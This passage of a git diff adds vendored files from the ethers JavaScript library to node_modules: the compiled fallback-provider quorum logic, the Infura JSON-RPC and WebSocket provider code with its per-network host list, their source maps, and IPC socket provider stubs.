abstract_provider_js_1.AbstractProvider) { + return Object.assign({ provider: p }, defaultConfig, defaultState); + } + else { + return Object.assign({}, defaultConfig, p, defaultState); + } + }); + this.#height = -2; + this.#initialSyncPromise = null; + if (options && options.quorum != null) { + this.quorum = options.quorum; + } + else { + this.quorum = Math.ceil(this.#configs.reduce((accum, config) => { + accum += config.weight; + return accum; + }, 0) / 2); + } + this.eventQuorum = 1; + this.eventWorkers = 1; + (0, index_js_1.assertArgument)(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), "quorum exceed provider weight", "quorum", this.quorum); + } + get providerConfigs() { + return this.#configs.map((c) => { + const result = Object.assign({}, c); + for (const key in result) { + if (key[0] === "_") { + delete result[key]; + } + } + return result; + }); + } + async _detectNetwork() { + return network_js_1.Network.from((0, index_js_1.getBigInt)(await this._perform({ method: "chainId" }))); + } + // @TODO: Add support to select providers to be the event subscriber + //_getSubscriber(sub: Subscription): Subscriber { + // throw new Error("@TODO"); + //} + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + async _translatePerform(provider, req) { + switch (req.method) { + case "broadcastTransaction": + return await provider.broadcastTransaction(req.signedTransaction); + case "call": + return await provider.call(Object.assign({}, req.transaction, { blockTag: req.blockTag })); + case "chainId": + return (await provider.getNetwork()).chainId; + case "estimateGas": + return await provider.estimateGas(req.transaction); + case "getBalance": + return await provider.getBalance(req.address, req.blockTag); + case "getBlock": { + const block = ("blockHash" in req) ? req.blockHash : req.blockTag; + return await provider.getBlock(block, req.includeTransactions); + } + case "getBlockNumber": + return await provider.getBlockNumber(); + case "getCode": + return await provider.getCode(req.address, req.blockTag); + case "getGasPrice": + return (await provider.getFeeData()).gasPrice; + case "getPriorityFee": + return (await provider.getFeeData()).maxPriorityFeePerGas; + case "getLogs": + return await provider.getLogs(req.filter); + case "getStorage": + return await provider.getStorage(req.address, req.position, req.blockTag); + case "getTransaction": + return await provider.getTransaction(req.hash); + case "getTransactionCount": + return await provider.getTransactionCount(req.address, req.blockTag); + case "getTransactionReceipt": + return await provider.getTransactionReceipt(req.hash); + case "getTransactionResult": + return await provider.getTransactionResult(req.hash); + } + } + // Grab the next (random) config that is not already part of + // the running set + #getNextConfig(running) { + // @TODO: Maybe do a check here to favour (heavily) providers that + // do not require waitForSync and disfavour providers that + // seem down-ish or are behaving slowly + const configs = Array.from(running).map((r) => r.config); + // Shuffle the states, sorted by priority + const allConfigs = this.#configs.slice(); + shuffle(allConfigs); + allConfigs.sort((a, b) => (a.priority - b.priority)); + for (const config of allConfigs) { + if (config._lastFatalError) { + continue; + } + if (configs.indexOf(config) === -1) { + return config; + } + } + return null; + } + // Adds a new runner (if available) to running. + #addRunner(running, req) { + const config = this.#getNextConfig(running); + // No runners available + if (config == null) { + return null; + } + // Create a new runner + const runner = { + config, result: null, didBump: false, + perform: null, staller: null + }; + const now = getTime(); + // Start performing this operation + runner.perform = (async () => { + try { + config.requests++; + const result = await this._translatePerform(config.provider, req); + runner.result = { result }; + } + catch (error) { + config.errorResponses++; + runner.result = { error }; + } + const dt = (getTime() - now); + config._totalTime += dt; + config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt; + runner.perform = null; + })(); + // Start a staller; when this times out, it's time to force + // kicking off another runner because we are taking too long + runner.staller = (async () => { + await stall(config.stallTimeout); + runner.staller = null; + })(); + running.add(runner); + return runner; + } + // Initializes the blockNumber and network for each runner and + // blocks until initialized + async #initialSync() { + let initialSync = this.#initialSyncPromise; + if (!initialSync) { + const promises = []; + this.#configs.forEach((config) => { + promises.push((async () => { + await waitForSync(config, 0); + if (!config._lastFatalError) { + config._network = await config.provider.getNetwork(); + } + })()); + }); + this.#initialSyncPromise = initialSync = (async () => { + // Wait for all providers to have a block number and network + await Promise.all(promises); + // Check all the networks match + let chainId = null; + for (const config of this.#configs) { + if (config._lastFatalError) { + continue; + } + const network = (config._network); + if (chainId == null) { + chainId = network.chainId; + } + else if (network.chainId !== chainId) { + (0, index_js_1.assert)(false, "cannot mix providers on different networks", "UNSUPPORTED_OPERATION", { + operation: "new FallbackProvider" + }); + } + } + })(); + } + await initialSync; + } + async #checkQuorum(running, req) { + // Get all the result objects + const results = []; + for (const runner of running) { + if (runner.result != null) { + const { tag, value } = normalizeResult(req.method, runner.result); + results.push({ tag, value, weight: runner.config.weight }); + } + } + // Are there enough results to event meet quorum? + if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) { + return undefined; + } + switch (req.method) { + case "getBlockNumber": { + // We need to get the bootstrap block height + if (this.#height === -2) { + this.#height = Math.ceil((0, index_js_1.getNumber)(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({ + value: c.blockNumber, + tag: (0, index_js_1.getNumber)(c.blockNumber).toString(), + weight: c.weight + }))))); + } + // Find the mode across all the providers, allowing for + // a little drift between block heights + const mode = getFuzzyMode(this.quorum, results); + if (mode === undefined) { + return undefined; + } + if (mode > this.#height) { + this.#height = mode; + } + return this.#height; + } + case "getGasPrice": + case "getPriorityFee": + case "estimateGas": + return getMedian(this.quorum, results); + case "getBlock": + // Pending blocks are in the mempool and already + // quite untrustworthy; just grab anything + if ("blockTag" in req && req.blockTag === "pending") { + return getAnyResult(this.quorum, results); + } + return checkQuorum(this.quorum, results); + case "call": + case "chainId": + case "getBalance": + case "getTransactionCount": + case "getCode": + case "getStorage": + case "getTransaction": + case "getTransactionReceipt": + case "getLogs": + return checkQuorum(this.quorum, results); + case "broadcastTransaction": + return getAnyResult(this.quorum, results); + } + (0, index_js_1.assert)(false, "unsupported method", "UNSUPPORTED_OPERATION", { + operation: `_perform(${stringify(req.method)})` + }); + } + async #waitForQuorum(running, req) { + if (running.size === 0) { + throw new Error("no runners?!"); + } + // Any promises that are interesting to watch for; an expired stall + // or a successful perform + const interesting = []; + let newRunners = 0; + for (const runner of running) { + // No responses, yet; keep an eye on it + if (runner.perform) { + interesting.push(runner.perform); + } + // Still stalling... + if (runner.staller) { + interesting.push(runner.staller); + continue; + } + // This runner has already triggered another runner + if (runner.didBump) { + continue; + } + // Got a response (result or error) or stalled; kick off another runner + runner.didBump = true; + newRunners++; + } + // Check if we have reached quorum on a result (or error) + const value = await this.#checkQuorum(running, req); + if (value !== undefined) { + if (value instanceof Error) { + throw value; + } + return value; + } + // Add any new runners, because a staller timed out or a result + // or error response came in. + for (let i = 0; i < newRunners; i++) { + this.#addRunner(running, req); + } + // All providers have returned, and we have no result + (0, index_js_1.assert)(interesting.length > 0, "quorum not met", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) } + }); + // Wait for someone to either complete its perform or stall out + await Promise.race(interesting); + // This is recursive, but at worst case the depth is 2x the + // number of providers (each has a perform and a staller) + return await this.#waitForQuorum(running, req); + } + async _perform(req) { + // Broadcasting a transaction is rare (ish) and already incurs + // a cost on the user, so spamming is safe-ish. Just send it to + // every backend. + if (req.method === "broadcastTransaction") { + // Once any broadcast provides a positive result, use it. No + // need to wait for anyone else + const results = this.#configs.map((c) => null); + const broadcasts = this.#configs.map(async ({ provider, weight }, index) => { + try { + const result = await provider._perform(req); + results[index] = Object.assign(normalizeResult(req.method, { result }), { weight }); + } + catch (error) { + results[index] = Object.assign(normalizeResult(req.method, { error }), { weight }); + } + }); + // As each promise finishes... + while (true) { + // Check for a valid broadcast result + const done = results.filter((r) => (r != null)); + for (const { value } of done) { + if (!(value instanceof Error)) { + return value; + } + } + // Check for a legit broadcast error (one which we cannot + // recover from; some nodes may return the following red + // herring events: + // - alredy seend (UNKNOWN_ERROR) + // - NONCE_EXPIRED + // - REPLACEMENT_UNDERPRICED + const result = checkQuorum(this.quorum, results.filter((r) => (r != null))); + if ((0, index_js_1.isError)(result, "INSUFFICIENT_FUNDS")) { + throw result; + } + // Kick off the next provider (if any) + const waiting = broadcasts.filter((b, i) => (results[i] == null)); + if (waiting.length === 0) { + break; + } + await Promise.race(waiting); + } + // Use standard quorum results; any result was returned above, + // so this will find any error that met quorum if any + const result = getAnyResult(this.quorum, results); + (0, index_js_1.assert)(result !== undefined, "problem multi-broadcasting", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: results.map(stringify) } + }); + if (result instanceof Error) { + throw result; + } + return result; + } + await this.#initialSync(); + // Bootstrap enough runners to meet quorum + const running = new Set(); + let inflightQuorum = 0; + while (true) { + const runner = this.#addRunner(running, req); + if (runner == null) { + break; + } + inflightQuorum += runner.config.weight; + if (inflightQuorum >= this.quorum) { + break; + } + } + const result = await this.#waitForQuorum(running, req); + // Track requests sent to a provider that are still + // outstanding after quorum has been otherwise found + for (const runner of running) { + if (runner.perform && runner.result == null) { + runner.config.lateResponses++; + } + } + return result; + } + async destroy() { + for (const { provider } of this.#configs) { + provider.destroy(); + } + super.destroy(); + } +} +exports.FallbackProvider = FallbackProvider; +//# sourceMappingURL=provider-fallback.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-fallback.js.map b/node_modules/ethers/lib.commonjs/providers/provider-fallback.js.map new file mode 100644 index 000000000000..a2ea29b497b5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-fallback.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-fallback.js","sourceRoot":"","sources":["../../src.ts/providers/provider-fallback.ts"],"names":[],"mappings":";;;AAAA;;;;;GAKG;AACH,gDAE2B;AAE3B,iEAA0D;AAC1D,6CAAsC;AAKtC,MAAM,IAAI,GAAG,MAAM,CAAC,GAAG,CAAC,CAAC;AACzB,MAAM,IAAI,GAAG,MAAM,CAAC,GAAG,CAAC,CAAC;AAEzB,SAAS,OAAO,CAAU,KAAe;IACrC,KAAK,IAAI,CAAC,GAAG,KAAK,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC,GAAG,CAAC,EAAE,CAAC,EAAE,EAAE;QACvC,MAAM,CAAC,GAAG,IAAI,CAAC,KAAK,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,CAAC;QAC9C,MAAM,GAAG,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;QACrB,KAAK,CAAC,CAAC,CAAC,GAAG,KAAK,CAAC,CAAC,CAAC,CAAC;QACpB,KAAK,CAAC,CAAC,CAAC,GAAG,GAAG,CAAC;KAClB;AACL,CAAC;AAED,SAAS,KAAK,CAAC,QAAgB;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE,GAAG,UAAU,CAAC,OAAO,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;AACxE,CAAC;AAED,SAAS,OAAO,KAAa,OAAO,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC;AAE7D,SAAS,SAAS,CAAC,KAAU;IACzB,OAAO,IAAI,CAAC,SAAS,CAAC,KAAK,EAAE,CAAC,GAAG,EAAE,KAAK,EAAE,EAAE;QACxC,IAAI,OAA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EAAE,CAAC;aACjC;SACJ;QAED,OAAO,MAAM,CAAC;IAClB,CAAC;IAED,KAAK,CAAC,OAAO;QACT,KAAK,MAAM,EAAE,QAAQ,EAAE,IAAI,IAAI,CAAC,QAAQ,EAAE;YACtC,QAAQ,CAAC,OAAO,EAAE,CAAC;SACtB;QACD,KAAK,CAAC,OAAO,EAAE,CAAC;IACpB,CAAC;CACJ;AAnbD,4CAmbC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-infura.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-infura.d.ts new file mode 100644 index 000000000000..6ee73ec14e67 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-infura.d.ts @@ -0,0 +1,101 @@ +/** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import { WebSocketProvider } from "./provider-websocket.js"; +import type { AbstractProvider } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +/** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export declare class InfuraWebSocketProvider extends WebSocketProvider implements CommunityResourcable { + /** + * The Project ID for the INFURA connection. + */ + readonly projectId: string; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + readonly projectSecret: null | string; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network?: Networkish, projectId?: string); + isCommunityResource(): boolean; +} +/** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +export declare class InfuraProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The Project ID for the INFURA connection. + */ + readonly projectId: string; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + readonly projectSecret: null | string; + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network?: Networkish, projectId?: null | string, projectSecret?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network?: Networkish, projectId?: string): InfuraWebSocketProvider; + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network: Network, projectId?: null | string, projectSecret?: null | string): FetchRequest; +} +//# sourceMappingURL=provider-infura.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-infura.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-infura.d.ts.map new file mode 100644 index 000000000000..69016b169459 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-infura.d.ts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OAAO;IAI9B;;OAEG;IACH,MAAM,CAAC,oBAAoB,CAAC,OAAO,CAAC,EAAE,UAAU,EAAE,SAAS,CAAC,EAAE,MAAM,GAAG,uBAAuB;IAI9F;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,SAAS,CAAC,EAAE,IAAI,GAAG,MAAM,EAAE,aAAa,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;CAiB9G"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-infura.js b/node_modules/ethers/lib.commonjs/providers/provider-infura.js new file mode 100644 index 000000000000..959b5c10544c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-infura.js @@ -0,0 +1,206 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.InfuraProvider = exports.InfuraWebSocketProvider = void 0; +/** + * [[link-infura]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Linea (``linea``) + * - Linea Goerli Testnet (``linea-goerli``) + * - Linea Sepolia Testnet (``linea-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:INFURA [providers-infura] + */ +const index_js_1 = require("../utils/index.js"); +const community_js_1 = require("./community.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +const provider_websocket_js_1 = require("./provider-websocket.js"); +const defaultProjectId = "84842078b09946638c03157f83405213"; +function getHost(name) { + switch (name) { + case "mainnet": + return "mainnet.infura.io"; + case "goerli": + return "goerli.infura.io"; + case "sepolia": + return "sepolia.infura.io"; + case "arbitrum": + return "arbitrum-mainnet.infura.io"; + case "arbitrum-goerli": + return "arbitrum-goerli.infura.io"; + case "arbitrum-sepolia": + return "arbitrum-sepolia.infura.io"; + case "base": + return "base-mainnet.infura.io"; + case "base-goerlia": // @TODO: Remove this typo in the future! + case "base-goerli": + return "base-goerli.infura.io"; + case "base-sepolia": + return "base-sepolia.infura.io"; + case "bnb": + return "bsc-mainnet.infura.io"; + case "bnbt": + return "bsc-testnet.infura.io"; + case "linea": + return "linea-mainnet.infura.io"; + case "linea-goerli": + return "linea-goerli.infura.io"; + case "linea-sepolia": + return "linea-sepolia.infura.io"; + case "matic": + return "polygon-mainnet.infura.io"; + case "matic-amoy": + return "polygon-amoy.infura.io"; + case "matic-mumbai": + return "polygon-mumbai.infura.io"; + case "optimism": + return "optimism-mainnet.infura.io"; + case "optimism-goerli": + return "optimism-goerli.infura.io"; + case "optimism-sepolia": + return "optimism-sepolia.infura.io"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +/** + * The **InfuraWebSocketProvider** connects to the [[link-infura]] + * WebSocket end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +class InfuraWebSocketProvider extends provider_websocket_js_1.WebSocketProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraWebSocketProvider**. + */ + constructor(network, projectId) { + const provider = new InfuraProvider(network, projectId); + const req = provider._getConnection(); + (0, index_js_1.assert)(!req.credentials, "INFURA WebSocket project secrets unsupported", "UNSUPPORTED_OPERATION", { operation: "InfuraProvider.getWebSocketProvider()" }); + const url = req.url.replace(/^http/i, "ws").replace("/v3/", "/ws/v3/"); + super(url, provider._network); + (0, index_js_1.defineProperties)(this, { + projectId: provider.projectId, + projectSecret: provider.projectSecret + }); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } +} +exports.InfuraWebSocketProvider = InfuraWebSocketProvider; +/** + * The **InfuraProvider** connects to the [[link-infura]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-infura-signup). + */ +class InfuraProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + /** + * The Project ID for the INFURA connection. + */ + projectId; + /** + * The Project Secret. + * + * If null, no authenticated requests are made. This should not + * be used outside of private contexts. + */ + projectSecret; + /** + * Creates a new **InfuraProvider**. + */ + constructor(_network, projectId, projectSecret) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = InfuraProvider.getRequest(network, projectId, projectSecret); + super(request, network, { staticNetwork: network }); + (0, index_js_1.defineProperties)(this, { projectId, projectSecret }); + } + _getProvider(chainId) { + try { + return new InfuraProvider(chainId, this.projectId, this.projectSecret); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.projectId === defaultProjectId); + } + /** + * Creates a new **InfuraWebSocketProvider**. + */ + static getWebSocketProvider(network, projectId) { + return new InfuraWebSocketProvider(network, projectId); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%projectId%% and %%projectSecret%%. + */ + static getRequest(network, projectId, projectSecret) { + if (projectId == null) { + projectId = defaultProjectId; + } + if (projectSecret == null) { + projectSecret = null; + } + const request = new index_js_1.FetchRequest(`https:/\/${getHost(network.name)}/v3/${projectId}`); + request.allowGzip = true; + if (projectSecret) { + request.setCredentials("", projectSecret); + } + if (projectId === defaultProjectId) { + request.retryFunc = async (request, response, attempt) => { + (0, community_js_1.showThrottleMessage)("InfuraProvider"); + return true; + }; + } + return request; + } +} +exports.InfuraProvider = InfuraProvider; +//# sourceMappingURL=provider-infura.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-infura.js.map b/node_modules/ethers/lib.commonjs/providers/provider-infura.js.map new file mode 100644 index 000000000000..93eb08f9bda7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-infura.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-infura.js","sourceRoot":"","sources":["../../src.ts/providers/provider-infura.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;GA4BG;AACH,gDAE2B;AAE3B,iDAAqD;AACrD,6CAAuC;AACvC,+DAAwD;AACxD,mEAA4D;AAO5D,MAAM,gBAAgB,GAAG,kCAAkC,CAAC;AAE5D,SAAS,OAAO,CAAC,IAAY;IACzB,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,OAAO,mBAAmB,CAAC;QAC/B,KAAK,QAAQ;YACT,OAAO,kBAAkB,CAAC;QAC9B,KAAK,SAAS;YACV,OAAO,mBAAmB,CAAC;QAE/B,KAAK,UAAU;YACX,OAAO,4BAA4B,CAAC;QACxC,KAAK,iBAAiB;YAClB,OAAO,2BAA2B,CAAC;QACvC,KAAK,kBAAkB;YACnB,OAAO,4BAA4B,CAAC;QACxC,KAAK,MAAM;YACP,OAAO,wBAAwB,CAAC;QACpC,KAAK,cAAc,CAAC,CAAC,yCAAyC;QAC9D,KAAK,aAAa;YACd,OAAO,uBAAuB,CAAC;QACnC,KAAK,cAAc;YACf,OAAO,wBAAwB,CAAC;QACpC,KAAK,KAAK;YACN,OAAO,uBAAuB,CAAC;QACnC,KAAK,MAAM;YACP,OAAO,uBAAuB,CAAC;QACnC,KAAK,OAAO;YACR,OAAO,yBAAyB,CAAC;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,IAAI,uBAAuB,CAAC,OAAO,EAAE,SAAS,CAAC,CAAC;IAC3D,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAgB,EAAE,SAAyB,EAAE,aAA6B;QACxF,IAAI,SAAS,IAAI,IAAI,EAAE;YAAE,SAAS,GAAG,gBAAgB,CAAC;SAAE;QACxD,IAAI,aAAa,IAAI,IAAI,EAAE;YAAE,aAAa,GAAG,IAAI,CAAC;SAAE;QAEpD,MAAM,OAAO,GAAG,IAAI,uBAAY,CAAC,YAAa,OAAO,CAAC,OAAO,CAAC,IAAI,CAAE,OAAQ,SAAU,EAAE,CAAC,CAAC;QAC1F,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QACzB,IAAI,aAAa,EAAE;YAAE,OAAO,CAAC,cAAc,CAAC,EAAE,EAAE,aAAa,CAAC,CAAC;SAAE;QAEjE,IAAI,SAAS,KAAK,gBAAgB,EAAE;YAChC,OAAO,CAAC,SAAS,GAAG,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,EAAE;gBACrD,IAAA,kCAAmB,EAAC,gBAAgB,CAAC,CAAC;gBACtC,OAAO,IAAI,CAAC;YAChB,CAAC,CAAC;SACL;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ;AApED,wCAoEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.d.ts new file mode 100644 index 000000000000..6aae787dcc1c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.d.ts @@ -0,0 +1,3 @@ +declare const IpcSocketProvider: undefined; +export { IpcSocketProvider }; +//# sourceMappingURL=provider-ipcsocket-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.d.ts.map new file mode 100644 index 000000000000..e49cd58d34f1 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket-browser.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket-browser.ts"],"names":[],"mappings":"AAAA,QAAA,MAAM,iBAAiB,WAAY,CAAC;AAEpC,OAAO,EAAE,iBAAiB,EAAE,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.js b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.js new file mode 100644 index 000000000000..7a8728ff442e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.js @@ -0,0 +1,6 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.IpcSocketProvider = void 0; +const IpcSocketProvider = undefined; +exports.IpcSocketProvider = IpcSocketProvider; +//# sourceMappingURL=provider-ipcsocket-browser.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.js.map b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.js.map new file mode 100644 index 000000000000..a4527c7ae5c4 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket-browser.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket-browser.js","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket-browser.ts"],"names":[],"mappings":";;;AAAA,MAAM,iBAAiB,GAAG,SAAS,CAAC;AAE3B,8CAAiB"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.d.ts new file mode 100644 index 000000000000..23d1f2f69ba8 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.d.ts @@ -0,0 +1,21 @@ +/// +import { SocketProvider } from "./provider-socket.js"; +import type { Socket } from "net"; +import type { JsonRpcApiProviderOptions } from "./provider-jsonrpc.js"; +import type { Networkish } from "./network.js"; +/** + * An **IpcSocketProvider** connects over an IPC socket on the host + * which provides fast access to the node, but requires the node and + * the script run on the same machine. + */ +export declare class IpcSocketProvider extends SocketProvider { + #private; + /** + * The connected socket. + */ + get socket(): Socket; + constructor(path: string, network?: Networkish, options?: JsonRpcApiProviderOptions); + destroy(): void; + _write(message: string): Promise; +} +//# sourceMappingURL=provider-ipcsocket.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.d.ts.map new file mode 100644 index 000000000000..876e470e2935 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ipcsocket.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-ipcsocket.ts"],"names":[],"mappings":";AAEA,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;AAEtD,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,KAAK,CAAC;AAElC,OAAO,KAAK,EAAE,yBAAyB,EAAE,MAAM,uBAAuB,CAAC;AACvE,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAmB/C;;;;GAIG;AACH,qBAAa,iBAAkB,SAAQ,cAAc;;IAGjD;;OAEG;IACH,IAAI,MAAM,IAAI,MAAM,CAAyB;gBAEjC,IAAI,EAAE,MAAM,EAAE,OAAO,CAAC,EAAE,UAAU,EAAE,OAAO,CAAC,EAAE,yBAAyB;IA8BnF,OAAO,IAAI,IAAI;IAOT,MAAM,CAAC,OAAO,EAAE,MAAM,GAAG,OAAO,CAAC,IAAI,CAAC;CAI/C"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.js b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.js new file mode 100644 index 000000000000..a63c8e7624bb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ipcsocket.js @@ -0,0 +1,72 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.IpcSocketProvider = void 0; +const net_1 = require("net"); +const provider_socket_js_1 = require("./provider-socket.js"); +// @TODO: Is this sufficient? Is this robust? Will newlines occur between +// all payloads and only between payloads? +function splitBuffer(data) { + const messages = []; + let lastStart = 0; + while 